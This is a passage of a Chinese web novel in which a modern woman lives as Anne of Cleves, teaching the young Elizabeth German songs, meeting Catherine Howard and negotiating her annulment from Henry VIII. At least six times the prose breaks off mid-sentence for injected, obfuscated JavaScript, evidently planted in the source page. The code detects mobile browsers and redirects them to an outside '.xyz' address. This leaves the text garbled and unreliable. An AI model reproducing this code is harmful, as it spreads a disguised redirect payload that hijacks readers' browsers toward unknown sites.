“是我。”伊丽莎白把灯举高，火苗在她脸上跳动，像一颗早熟的心。安妮的第一反应是捂住嘴——她不确定刚才有没有把 21 世纪的中文嘟囔出来。 第二反应是蹲下去，与女孩平视，仿佛高度能降低风险。“殿下，您该在寝宫。” “我听见风在说话。”伊丽莎白指向塔窗，“可风说的是德语。”安妮愣了半秒，突然笑了——那笑里带着逃跑多年的疲惫，也带着“终于被抓住”的轻松。 “想学吗？” “比拉丁文难吗？” “比拉丁文自由。”于是安妮把童谣拆成四个手势：1. 双手捧脸——M?gdlein（小姑娘）2. 指尖飞吻——küss den Wind（亲亲风）3. 双臂张开——segle bis ans End（扬帆到尽头）4. 食指指向自己胸口——selbst bestimmen（自己决定）伊丽莎白照做时，风把她的发带吹跑，金发像旗帜一样猎猎作响。 她忽然说：“如果我学会了，就能决定不嫁给我讨厌的人吗？” 安妮的指尖停在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155897|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半空。 她问的是政治，我答的是人生。 【三】风的小字为了不让侍女发现，她们约定： ——以后每星期二、四、六，纸鸢飞上塔楼，就代表“风的小字课”开始。 ——安妮只教一句，伊丽莎白必须带回一句拉丁文或希腊文作为“回礼”。 ——所有歌词只能写在可水洗的亚麻布上，读完就浸进水盆，让它“回风里去”。伊丽莎白跑下塔时，把第一块亚麻布塞进袖袋。布上用炭笔写着：M?gdlein, kü? den Wind er tr?gt dein Herz hinfort…炭迹还没干透，指尖一抹就晕开，像偷偷长大的野心。【四】塔楼回声（日记节选）1540 年 3 月 12 日，格林威治，弃婴塔。 我教会了一个 6 岁的女孩如何亲吻风。 也许二十年后，她会用同一只手签署处死某位公爵的命令。 谁知道呢？ 反正今晚，风终于站在我这边。 8. 第八章金丝玫瑰与篱笆外的初见 里士满行宫，1540 年 5 月 17 日——圣帕特里克节后的第十七个晴天 清晨的雾还没散，河面浮着一层牛奶般的白。亨利八世带着半支猎队“顺路”来里士满巡视——说是巡鹿，实则巡妻。 马蹄声在鹅卵石上敲出鼓点，猎号却吹得懒洋洋，像没睡醒的猫。行宫门口，安妮领着寥寥几名侍从迎驾。她穿一条淡绿亚麻裙，腰间束得极松，裙摆被晨风掀起，像一片刚舒展的叶子。 亨利翻身下马，目光在她脸上溜了一圈，眉头立刻拧成“川”字。 “王后，”他压低声音，语气里带着公开演讲的抑扬顿挫，“朕的耳朵仍盼着一句纯正法语。” 安妮行礼，膝盖弯到标准 45°，嘴里却蹦出一句半熟的“Bon-jour, majesté”，尾音被舌尖绊了一下，听上去像“笨猪，骂死爹”。 周围侍从憋笑憋得肩膀发抖。亨利干笑两声，转身吩咐：“午后猎场见，王后若能用法语唤回一头鹿，朕就赦你免课。” 赦免？安妮心里翻白眼：我只求免死。 国王一行去猎场后，行宫骤然安静。阳光把影子拉得老长，蝉声像锯子。安妮脱掉累赘的束腰，换上最旧的褐色骑装，提着竹篮去后花园。 那里有一道低矮的玫瑰篱笆，是她半个月前亲手搭的“德意志角”：白玫瑰当篱笆，迷迭香当卫兵，中间空出一小片菜畦，种着从厨房讨来的洋葱苗和几根倔强的胡萝卜。 她蹲在地上松土，指尖沾了泥，却觉得踏实。胡椒狗绕着她打转，尾巴扫起一片花粉。 “嘘——别踩了我的德意志小森林。” 狗听不懂，继续欢快地刨坑。 就在安妮专心拔草时，篱笆外探进一只白皙的手，指尖捏着一条草绳，绳上系着一只漏了底的柳条篮子。 “夫人，能借个剪刀吗？”声音清脆，带着诺福克乡音。 安妮抬头，看见一双亮得惊人的眼睛。 少女约莫十七岁，金发被阳光镀出一层毛边，像刚剪下的麦穗。她穿一件朴素褐色裙子，领口绣着细碎的雏菊，裙摆沾了泥点，却掩不住那股新鲜的、带露水的朝气。 “我叫凯瑟琳，”她笑的时候露出一点虎牙，“我替婶婶来摘药草，可剪刀落在井边了。” 安妮把剪刀递过去，顺手替她扶住篱笆枝条。指尖相触，凯瑟琳的手心温热，带着青草味。 “小心刺。”安妮提醒。 凯瑟琳眨眼：“玫瑰有刺，可人比花乖。” 一句话把安妮逗乐，也让她心里咯噔一下——这小姑娘的嘴，甜得有点危险。 四、洋葱与胡萝卜的交易 凯瑟琳剪了几枝金盏花和薄荷，又把篮子递回：“夫人，您种的胡萝卜真可爱，能换我一束迷迭香吗？” 安妮大方地拔了三根手指粗的胡萝卜塞进她篮子，换来一把带露的迷迭香。 “迷迭香能驱噩梦，”凯瑟琳压低声音，“也能让故事传得远。” 安妮挑眉，没接话，只觉得这小姑娘的眼睛里装着一条还未命名的河。 胡椒狗嗅着凯瑟琳的裙摆打转，她弯腰揉了揉狗头，金发垂落，像一帘金色的雨。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155898|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >狗摇尾巴，雨点四溅。 傍晚，猎队归来，亨利一身泥点，脸上却带着猎人特有的兴奋红。 他命人在草坪上架起篝火，烤鹿肉、倒麦酒，又把安妮叫到火堆旁。 “王后，”他晃着酒壶，“今日鹿群听见朕的法语号角就逃，你若能让它们回头，朕便算你过关。” 安妮望向远处暮色里的森林，又望向自己沾满泥土的手指，忽地笑了。 她抬手放在唇边，发出一声悠长的口哨—— 那是她小时候在莱茵河边唤牧羊犬的调子，清亮、短促，带着草叶味。 片刻后，灌木丛里窸窣作响，一只受惊的小鹿探头探脑地走了出来，耳朵抖个不停。 火堆旁的人全都愣住。亨利先是大笑，继而眯起眼： “朕要的是法语，不是鹿语。” 安妮耸肩：“鹿听得懂真心，人却只听口音。” 国王嗤笑一声，仰头灌下一口麦酒，不再追问。火光照得他满脸通红，也照得安妮眼底一片冷亮。 夜深，行宫熄灯。安妮把白日换来的迷迭香挂在窗边，香味顺着风钻进房间，像一条看不见的小径。 胡椒狗趴在她脚边，耳朵偶尔抖动，似在聆听篱笆外的脚步声。 安妮坐在烛火下，掰着手指算：今天逃过一次法语考核，也避开了“圆房补考”。 她抬眼望向窗外漆黑的花园，想起金发少女临走前那句“故事传得远”。 风把迷迭香吹得沙沙响，仿佛有人在暗处轻声接话： ——故事已经启程，只是主角尚未察觉。 9. 第九章 玫瑰与金雀 格林威治宫与汉普顿宫之间，1540 年 6 月 2 日——玫瑰开疯了，空气里全是花瓣和阴谋的味道。 托马斯·霍华德，诺福克公爵，带着他惯有的、介于狐狸与老狼之间的微笑，在汉普顿宫的偏厅里展开一幅小画像。 画像不过巴掌大，却像一簇被锁进金框的火焰——少女金发浓密，皮肤是初夏里刚剥壳的杏仁，嘴角含着一点稚气的贪婪，好像下一秒就要把整颗糖都塞进嘴里。 “她叫凯瑟琳·霍华德，”霍华德压低嗓音，“十七岁，尚未出阁，会唱歌，会跳舞，会——” 他故意停顿，让国王自己去填后面的动词。 亨利八世的手指悬在画像上方，指腹几乎要碰到那片金色。 “尚未出阁？”他重复，声音低得像喉咙里滚动的蜜糖。 霍华德微笑，牙齿在烛光里一闪：“尚未。” 亨利把画像合进掌心，像合住一只扑火的蝴蝶。 “今晚，”他说，“我要见她。” 夜色降临，汉普顿宫的长廊点起鲸脂灯，灯影摇晃，把石墙照得波光粼粼。 凯瑟琳被带进一间小偏厅，厅里铺着土耳其地毯，墙角堆着半人高的玫瑰。她穿一件淡金色的丝袍，腰间束着绿缎带，像一株被风揉乱的金雀花。 亨利坐在高背椅上，膝盖上盖着一条薄毯——毯子下，痛风留下的肿块正隐隐作痛，气味像陈年的酒桶塞。 凯瑟琳行礼时，裙摆扫过地毯，卷起一阵花香。她抬眼，目光像两只湿漉漉的小鹿，撞进国王的瞳孔。 亨利伸手，示意她靠近。 “听说你会跳舞？” 凯瑟琳抿嘴一笑，露出一点虎牙：“会跳，也会唱歌，还会——”她故意停顿，像霍华德教的那样，让国王自己去猜。 亨利大笑，笑声震得灯焰乱颤。他伸手捏了捏她的下巴，指尖沾到一点玫瑰粉的香气。 “唱一首给朕听听。” 凯瑟琳清了清嗓子，声音像清晨第一缕阳光穿过树叶，带着一点点露水，也带着一点点糖霜。 亨利听得入神，膝盖上的疼痛似乎都淡了几分。 霍华德站在阴影里，嘴角勾起一抹得意的弧度——他知道，鱼已上钩。 接下来的日子，汉普顿宫的夜宴一场接一场。 凯瑟琳像一只被放飞的金雀，在舞池里旋转、跳跃，裙摆扬起的风把国王的心吹得七零八落。 亨利赐给她一条红宝石项链，她戴在颈间，像把火焰锁进雪里。 他赐给她一匹白马，她骑在马背上，金发在风中飞扬，像一面小小的旗帜。 大臣们看得心惊胆战，却又不敢多言——谁都知道，国王的耐心像夏天的冰，融化得悄无声息。 托马斯·卡尔佩珀悄悄对霍华德说：“陛下已经三天没回王后信了。” 霍华德笑得像只刚偷到鸡的狐狸：“那就再送一只更漂亮的。” 里士满行宫，夜色深得像一坛打翻的墨。 托马斯·克伦威尔——国王的秘书，权柄的实际操作者——披着一身夜露，敲响了安妮的房门。 “王后殿下，”他低声说，声音像一块磨得发亮的刀，“臣有要事相告。” 安妮披着斗篷，脸色苍白，像一尊被月光冻住的雕像。 “说吧。” 克伦威尔深吸一口气：“陛下近日……颇为宠爱一位凯瑟琳小姐。” 安妮的睫毛颤了颤，像被风吹动的蝶翼。 “臣以为，殿下或许该… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155899|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …挽回陛下的心。” 安妮沉默良久，声音轻得像一片落叶：“我做不到。” 克伦威尔皱眉：“殿下——” 安妮抬头，眼里有雾：“我很害怕。” 她顿了顿，声音更低：“国王腿上的伤……很难闻。” 克伦威尔愣住了。他没想到，王后竟会如此直白地揭开那层遮羞布。 “殿下，”他压低声音，“霍华德家族若得势，臣与您，皆无立足之地。” 安妮苦笑：“我连自己都站不稳，如何扶得住别人的野心？” 克伦威尔无言，只能深深一揖，转身离去。 月光下，他的背影被拉得很长，像一条通往未知的路。 汉普顿宫的夜宴仍在继续。 凯瑟琳坐在国王身边，小口小口地抿着葡萄酒，脸颊泛起红晕，像一朵被春风吹开的玫瑰。 亨利看着她，眼神温柔得像一潭深水。 霍华德站在角落里，与几位重臣交换着眼神。 “霍华德家的女儿，”有人低声说，“若能入主中宫，权柄便如流水，顺流而下。” “克伦威尔呢？” “他老了，也怕了。” 笑声像蛇一样，在夜色里游走。 里士满的清晨，安妮站在玫瑰篱笆边，剪下一朵半开的白玫瑰。 花瓣上还沾着露水，像一颗颗小小的眼泪。 她把玫瑰插在窗前，看着它在阳光下慢慢舒展。 胡椒狗趴在她脚边，尾巴轻轻拍打地板，发出轻微的啪啪声。 风从汉普顿宫吹来，带着花香和音乐，也带着命运的暗语。 玫瑰篱笆外，金发少女正在奔跑，笑声像一串银铃，叮叮当当，一路奔向未知的明天。 10. 玫瑰经与玫瑰刺 里士满行宫，1540 年 7 月 1 日—7 日 里士满的夏日天亮得极早，四点半，天色已从鸽灰变成淡金。安妮却必须在四点钟起床——不是因为她勤勉，而是因为亨利八世的贴身侍卫会在四点过一刻准时推开寝宫门，确认“王后今日是否已为国君灵魂的起居而起身”。 她睡眼惺忪地披上亚麻晨衣，赤脚踩在冰凉的石板上，像踩在一张尚未签字的合同上。 “王后殿下，该去小经堂了。”侍卫的声音不带起伏，却带着刀鞘的金属味。 安妮点头，顺手把昨夜写好的第四封信塞进袖袋——信的开头永远是： “致我最尊贵、最仁慈、最英明的夫君与君主——亨利八世……” 字迹娟秀，墨里掺了一点点玫瑰水，以示温柔。 小经堂在城堡东侧，三面高墙，只留一扇玫瑰窗。安妮跪在硬木跪凳上，面前是经架、蜡烛和一本烫金边的拉丁文日课。她必须高声诵念《诗篇》第五十一篇，声音要足够大，大到能穿过石墙，被守在走廊尽头的书记员记下“王后今日虔诚依旧”。 有时候，她故意把拉丁重音读错，让守在外面的老神父皱眉——这是她一天里唯一允许的叛逆。 做完早课，安妮会被带去玫瑰走廊散步。走廊两侧种满白玫瑰，据说亨利命人每日清晨剪下三朵，插在寝宫床头，以示“纯洁的婚姻”。安妮每次路过都会在心里冷笑：纯洁到需要三把剪刀守着。 她会在走廊尽头的小桌前写信。信纸是特制的，左上角压有都铎玫瑰水印，右下角必须盖她的私章——一只德意志小鹰，鹰爪下是一行极细的拉丁文：Sine timore（无惧）。 信的内容千篇一律： “……臣妾每日为您祈祷，愿痛风之疾早日消散，愿国泰民安，愿陛下万寿无疆……” 她把信交给侍卫，侍卫再交给书记官，书记官再呈给国王。信在路上要走三天，三天后，亨利会在信尾用红笔写下一个潦草的“R.”（Rex，国王），表示已阅。安妮把这一撇一捺当作甲方回执，继续在下一个黎明重复流程。 第七天，玫瑰走廊上出现了一抹深红——玛丽公主。她二十一岁，穿黑色天鹅绒长袍，领口别着银质十字架，像一把随时准备出鞘的剑。 “王后殿下，”她的声音平稳得像冰面，“您每日为我父祈祷，可曾想过为英格兰的信仰统一祈祷？” 安妮的指尖在袖口收紧，面上却露出温顺的笑：“公主殿下，我学识浅薄，不敢妄议圣事。一切惟陛下与夫君之命是从。” 玛丽盯了她片刻，似乎在判断这句话里是否藏着异端。 “那么，”玛丽语气更冷，“若有一日，陛下命您放弃德意志的弥撒，改随英格兰礼拜，您当如何？” 安妮垂眸，声音轻得像一片落叶：“臣妾的灵魂渺小，只愿追随君主与丈夫的指引。” 玛丽没有点头也没有摇头，只是转身离去，黑袍扫过白玫瑰，像一滴墨落在雪上。 当日下午，玫瑰走廊上出现第二个人影——六岁的伊丽莎白。她穿淡蓝色亚麻裙，手里攥着一根折断的玫瑰枝，像握着一柄小剑。 “王后”她仰起脸，声音清脆，“为什么拉丁文里‘potestas’（权力）是阴性词？” 安妮蹲下来，与女孩平视，指尖拂去她发梢的雨珠：“也许，”她轻声说，“在他们想到这个词的时候，就已经决定好要怎么使用她了。” 伊丽莎白的眼睛亮了一瞬，像烛火被风挑旺。 “那如果我不想被使用呢？” 安妮沉默片刻，雨点打在玫瑰花瓣上，发出细碎的爆裂声。 “那就先学会用他们的规则，再打破它。” 女孩把折断的玫瑰枝插进泥土，像插下一面看不见的小旗。 安妮的日程被切割得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155900|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精确到分钟： ? 4:00 起床，晨祷； ? 4:30 抄写玫瑰经，一式三份，分别献给国王、圣母、自己； ? 5:00 早膳，只喝淡麦粥，以示清心； ? 6:00 写信，内容永远是“虔诚、顺服、祝福”； ? 7:00 玫瑰走廊散步，必须面带微笑，步幅不得超过国王的脚印模板； ? 8:00 回到小经堂，开始第二轮祈祷。 她像一台被上了发条的祈祷机，发条的一端握在亨利手里。 第七封信里，安妮第一次写下一句看似无关的话： “……白玫瑰虽美，却易染尘埃。臣妾愿为陛下守其洁白，亦愿为陛下清扫尘埃。” 她把“尘埃”一词写得极重，墨迹微微晕开，像一滴泪。 三天后，亨利在信尾批了一个更大的“R.”，旁边多了一行小字： “玫瑰不必清扫，朕自有剪刀。” 安妮把信纸折成小小方块，塞进束腰暗袋。剪刀也好，玫瑰也罢，她已学会在刀锋上种花。 第七日傍晚，安妮独自站在玫瑰走廊尽头，手里握着第八封信。 雨后的空气带着泥土与花瓣腐烂的甜味。她抬头看天，乌云压得很低，像一块未签字的合同。 她把信交给侍卫，轻声说：“告诉陛下，臣妾今日为他祈祷了七遍玫瑰经，愿他今夜无痛。” 侍卫走后，她俯身拾起一朵被风雨打落的白玫瑰，指尖被刺扎出一滴血。 血珠落在信纸上，正好盖住“尘埃”二字。 安妮笑了，像完成一幅暗号画。 明天，她还会在四点钟起床，还会写第九封信，还会在玫瑰走廊上留下第九滴看不见的血。 但此刻，她握紧那朵带刺的玫瑰，像握紧一条尚未拉响的警报。 玫瑰经继续，玫瑰刺也在继续。 11. 第十一章 金丝雀啼时，旧玫瑰凋零 第十一章金丝雀啼时，旧玫瑰凋零 汉普顿宫，1540 年 6 月 20 日——夏至前两日，白昼长到令人心慌。 一、御前会议：国王的耐心耗尽 议政厅的门正午才开，雕窗透进的阳光像一把斜插的金矛，直戳在长桌中央。亨利八世坐在高背椅里，膝上仍盖那条织金薄毯，痛风肿块在毯下起伏，像潜伏的第三只眼。 他环视左右，声音不高，却带着猎人割喉前的温柔： “诸位，朕要听一句痛快话——如何体面地结束这段德意志婚姻？” 长桌两侧，纸卷、羽毛笔、冷汗同时落地。 托马斯·克伦威尔站在最末端，袖口磨得发亮。他深吸一口气，摊出三份折子： 1. 《王后理财有功疏》——里士满行宫半年盈余两千镑； 2. 《北方贵族联署表》——七位伯爵愿为王后作保； 3. 《神圣同盟风险论》——此刻离婚，德意志诸侯或断供军火。 他声音低沉：“陛下，换船需先补洞，否则新船也会沉。” 亨利用食指敲椅背，节奏像断头台的鼓点：“朕的船，朕说了算。” 克伦威尔还想再言，霍华德已抢先一步，将一份墨迹未干的“民意折”推上前： “诺福克、萨福克七郡乡绅联名，称王后‘无出’，恳请陛下另择佳人。” 折子末尾，赫然是霍华德公爵的印章，朱砂鲜红。 克伦威尔瞳孔骤缩——背刺来得比痛风还快 霍华德连民意都替他准备好了。 霍华德半侧身，向克伦威尔投去极轻的一瞥，唇语无声： “你的时代结束了。” 克伦威尔握紧拳——他明白，自己亲手送上的王后，如今成了霍华德爬上龙床的梯子。 他低头，指尖在袖中掐进掌心，血腥味与蜂蜡味混在一起。 亨利抬手，鼓点停。 他先看克伦威尔，再看霍华德，像在称两枚筹码的重量。 最终，他轻笑一声，把克伦威尔的折子丢进火盆： “纸灰很轻，朕的心更重。” 火焰舔上纸角，数字、签名、联盟顷刻成灰。 亨利转向霍华德，语气像在谈天气： “下周，朕要看到‘无子、无爱、无合’的三重奏。其余细节，你们自己填。” 他起身，痛风让他踉跄，却无人敢扶 “记住，”国王的声音在拱顶回荡，“朕只要结果，不要理由。” 会议散场，暮色压下来。克伦威尔独自站在长廊，灯影把他的影子拉得瘦长。 他想起之前，自己亲手把安妮送上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155901|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚船；如今船要沉，他却连一块木板都抓不到。 身后，霍华德的笑声像钝刀刮骨： “秘书大人，金丝雀已入笼，猎犬该换新主人了。” 克伦威尔没有回头，只在袖中攥紧那枚曾用来封诏的火漆印——印面已裂，像他的政治生命。 汉普顿宫偏殿，凯瑟琳在镜前试戴红宝石项链。 项链是国王昨夜的赏赐，沉重得像一条锁链。 她盯着镜中的自己，金发在烛光里流淌，眼底却闪过一丝计算： “下一步，是皇冠。” 镜旁的小桌上，摆着一封未拆的信——霍华德亲笔： “别忘了，你的翅膀是我们缝的。” 凯瑟琳用指甲轻轻划过信封，唇角扬起极轻的弧度： “翅膀是我的，飞向哪里，由我决定。” 里士满行宫，深夜。 安妮坐在熄了灯的窗前，指尖绕着那枚银线日期环：1540.7.6 窗外雨声潺潺，玫瑰花瓣落了一地。 胡椒狗把脑袋搁在她膝上，尾巴轻轻拍打。 安妮抚摸狗耳，声音低得只有自己听得见： “金丝雀啼了，玫瑰该谢幕了。” 雨声替国王回答：沙沙，沙沙，像无数细小的掌声，为即将落幕的旧王后送行。 12. 第十二章 求存策略·讨好与退路 里士满 7 月 14 日，天色青白。安妮把闹钟设在四点半，却比钟声早醒一刻。 她坐在镜前，先对镜练习“凯瑟琳式微笑”——嘴角上翘 5 毫米，露出上齿 3 颗，眼睑微垂，像一朵刚被露水打湿的金盏花。 随后，她在舌尖滚了一句带莱茵河口音的德语： “Guten en, liebe Catherine! M?ge der Tag so sü? sein wie dein L?cheln.” 尾音故意拖长，软得像蜂蜜。 确认发音无误后，她才把“道具”一件件装进袖袋： ? 一页极薄的羊皮离婚同意书，折成指甲大小，缝在左袖衬里； ? 一只空心铜钮扣，内藏半盎司迷迭香油——必要时可瞬间制造“情绪失控的晕厥”； ? 一枚绣着微型玫瑰的丝帕，用来擦拭“感动”的泪水。 二、微笑外交第一步：制造偶遇 凯瑟琳·霍华德住在西翼玫瑰厢房，每日辰时必去花园剪花。安妮掐准时间，提前在回廊拐角“偶遇”。 “哎呀，这根枝条长得太顽皮，竟敢挡住小姐的路。” 安妮用半生不熟的英语说完，立刻补上一句带笑的德语： “玫瑰总是向着最美的光长。” 凯瑟琳被逗得咯咯直笑，顺手把剪下的白玫瑰别在安妮耳后。 安妮顺势递上自己连夜缝的小香囊——内装干玫瑰与薄荷，外表绣着凯瑟琳的姓名首字母“K·H”。 “愿香气替我说感谢。” 凯瑟琳收下，鼻尖轻嗅，眼睛眯成月牙。 隔日午后，安妮邀请凯瑟琳去塔楼顶层看雨云。塔楼废弃，却成了“少女俱乐部”。 安妮掏出袖珍棋盘，棋子是橡果刻的，棋盘是旧羊皮。 “我们来玩‘巴伐利亚跳棋’，输的人要唱一首德语小调。” 凯瑟琳输了，安妮便教她唱： “Kleine K?nigin, tr?um nicht zu klein, die Welt ist gro? und wartet auf dein Zeichen.” （小女王，别做太小的梦，世界很大，正等你发号施令。） 歌词里的“K?nigin”被安妮唱得又软又亮，像一颗裹着糖的针。 凯瑟琳听得入迷，回去后把歌词抄在扇面上，逢人就哼。谣言迅速发酵：王后与新欢已结成“德意志姐妹团”。 每一场公开亲昵后，安妮回到房间，都会把离婚同意书拿出来重新折叠，确保边缘不会磨破。 纸上只有三行拉丁文： “Ego Anna, duxit sine timore, renuntio vinculo matrimonii, peto libertatem.” （我安妮，无惧地宣布，放弃婚姻锁链，请求自由。） 她把纸再缝进右袖，用同色丝线锁边，哪怕在舞会旋转时也不会掉出。 7 月 16 日晚，凯瑟琳举办小型花园宴会。 安妮被邀请同坐首席，席间亨利举杯：“为朕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155902|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未来的幸福干杯！” 众目睽睽，安妮必须回应。她端起酒杯，用德语高声： “Zum Glück der Krone und der K?nigin, die noch nicht geboren ist.” （为尚未诞生的女王之冠冕干杯。） 席间一阵低笑——“女王”一词在德语里阴性，却暗指凯瑟琳，也暗指伊丽莎白。 亨利挑眉，没听出弦外之音，只觉有趣。 凯瑟琳则笑得花枝乱颤，挽住安妮胳膊：“王后竟会替我祝酒！” 安妮在心里把离婚同意书又往袖里塞了塞——危机测试通过。 宴会散后，凯瑟琳偷偷递给安妮一张纸条： “若有一日我入主中宫，愿与你共享里士满猎场。” 安妮把纸条压在袖中铜钮扣下，轻声回了一句德语： “玫瑰同枝，风雨同担。” 凯瑟琳听懂了前半句，没听懂后半句的“风雨”其实是“风暴”。 7 月 17 日破晓，安妮站在玫瑰篱笆尽头，把最后一朵白玫瑰别在凯瑟琳发间。 她低头闻香，声音轻得像风： “愿你永远记得今日的香气，也永远记得是谁教会你呼吸。” 凯瑟琳笑着走远，裙摆扫过露水，留下一串金色的脚印。 安妮转身，摸了摸左袖的缝口——羊皮纸安静地躺在那里，像一条尚未拉响的警报。 玫瑰篱笆在风中摇晃，松紧之间，她已经为自己铺好了两条路： 一条通向金丝雀的巢，一条通向自由的旷野。 13. 皆大欢喜，或玫瑰如何优雅退场 里士满行宫，1540 年 7 月 24 日—7 月 31 日 7 月 24 日傍晚，风从泰晤士河面一路爬上里士满的石阶，带着汉普顿宫的马厩味、烤鹿肉味，以及一丝新鲜的、像刚拆封的羊皮纸味。 胡椒狗第一个嗅到异常，耳朵转得像风向标。安妮顺着它的视线望去——河堤尽头，三盏白底红十字的宫灯排成一条直线。那是御前秘书处的“夜航标”，通常只在颁布国书时出现。 她心里“咚”地一声，像落下一枚骰子，却不知道点数是吉是凶。 “看来，”她对着狗耳语，“老板终于要在裁员通知书上签字了。” 7 月 25 日，天刚蟹壳青，行宫正门被叩得震天响。 来的是一对“老搭档”： ? 托马斯·克伦威尔——昔日提拔安妮的“造王者”，此刻鬓角灰白，像撒了一把盐； ? 托马斯·霍华德——诺福克公爵，笑得像刚偷到一整只鸡的狐狸。 克伦威尔捧着卷轴，霍华德提着礼盒，一黑一红，活像送葬与贺喜同时登场。 安妮在会客室端坐，裙摆铺成一朵收敛的白玫瑰。她故意在腰带上挂了一串小铃铛——声音一响，提醒自己要笑得温顺。 克伦威尔先开口，声音像钝刀切面包： “奉英格兰与爱尔兰国王、教会至尊陛下之命，特向王后殿下宣读……双方友好解除婚姻之协议。” 霍华德立刻接口，声音甜得发腻： “王后殿下贤德无双，陛下愿赐里士满行宫及年金 4000 马克，外加安特卫普两处庄园，终身享用。” 安妮垂眸，指甲在掌心掐出四道月牙。 ——离职补偿到账，还是“2N+年终奖”豪华版。 霍华德把礼盒放到桌上，盒盖“啪”一声弹开，露出一卷墨迹未干的羊皮纸： “奉英格兰、法兰西及爱尔兰国王、教会至尊亨利八世陛下之特许： 1. 国王与王后安妮之婚姻自即日起解除，双方仍为‘亲爱的兄妹’； 2. 王后年金定为 4 000 马克，由国库每季度支付； 3. 王后须常驻英格兰，非经国王亲笔特许，不得离境； 4. 里士满行宫及温莎小屋供王后终身使用； 5. 本协议自签字之日起生效，一经签署，不得反悔。 卷轴末尾，国王的狮子印章鲜红欲滴，像一枚刚出炉的烙印。 她抬眼，发现霍华德正盯着自己耳后的白玫瑰，眼里闪着“快签字”的绿光。 卷轴递到面前，羽毛笔蘸好墨水。 安妮深吸一口气，在签名处写下花体“Anna”——最后一笔故意拖长，像一条偷偷伸出的尾巴。 她沉默三十秒 霍华德率先开口，语气轻快得像在谈论一场狩猎： “殿下，年金 4 000 马克，可是英格兰王后史上最高的一笔‘友谊补偿’。陛下待您，可谓仁至义尽。” 克伦威尔没有附和，他站在窗边，视线落在远处河面，仿佛那里有一条看不见的逃生小船。 佩吉特把墨盒推到安妮面前，轻声提醒： “殿下，只需在此处签上御名，一切……便尘埃落定。” 安妮没有立即提笔。 她先端起麦酒，抿了一口——酒已经走温，带着淡淡的木桶涩味。 随后，她抬眼，目光依次扫过四位大臣，最后停在奥德利脸上。 “诸位大人，” 她的声音不高，却足够让窗外的蝉鸣安静下来， “我只有两句话，想请诸位一字不差地转呈国王。” 她放下酒杯，双手交叠于膝上，语气温柔得像在念玫瑰经： “第一，我将每日为国王陛下的健康与长寿祈祷，直至上帝召回我的灵魂； 第二，我恳请全能的上帝，让我在有生之年——仍能再次亲眼见到国王。” 话音落地，会客室陷入一种古怪的寂静。 霍华德挑了挑眉，似乎没料到如此“温顺”； 佩吉特笔尖一顿，在纸上留下一个多余的墨点； 克伦威尔却轻轻吐出一口气，像终于放下某种无形的负担。 安妮提笔，在羊皮卷末尾签下花体“Anna Cleves”。 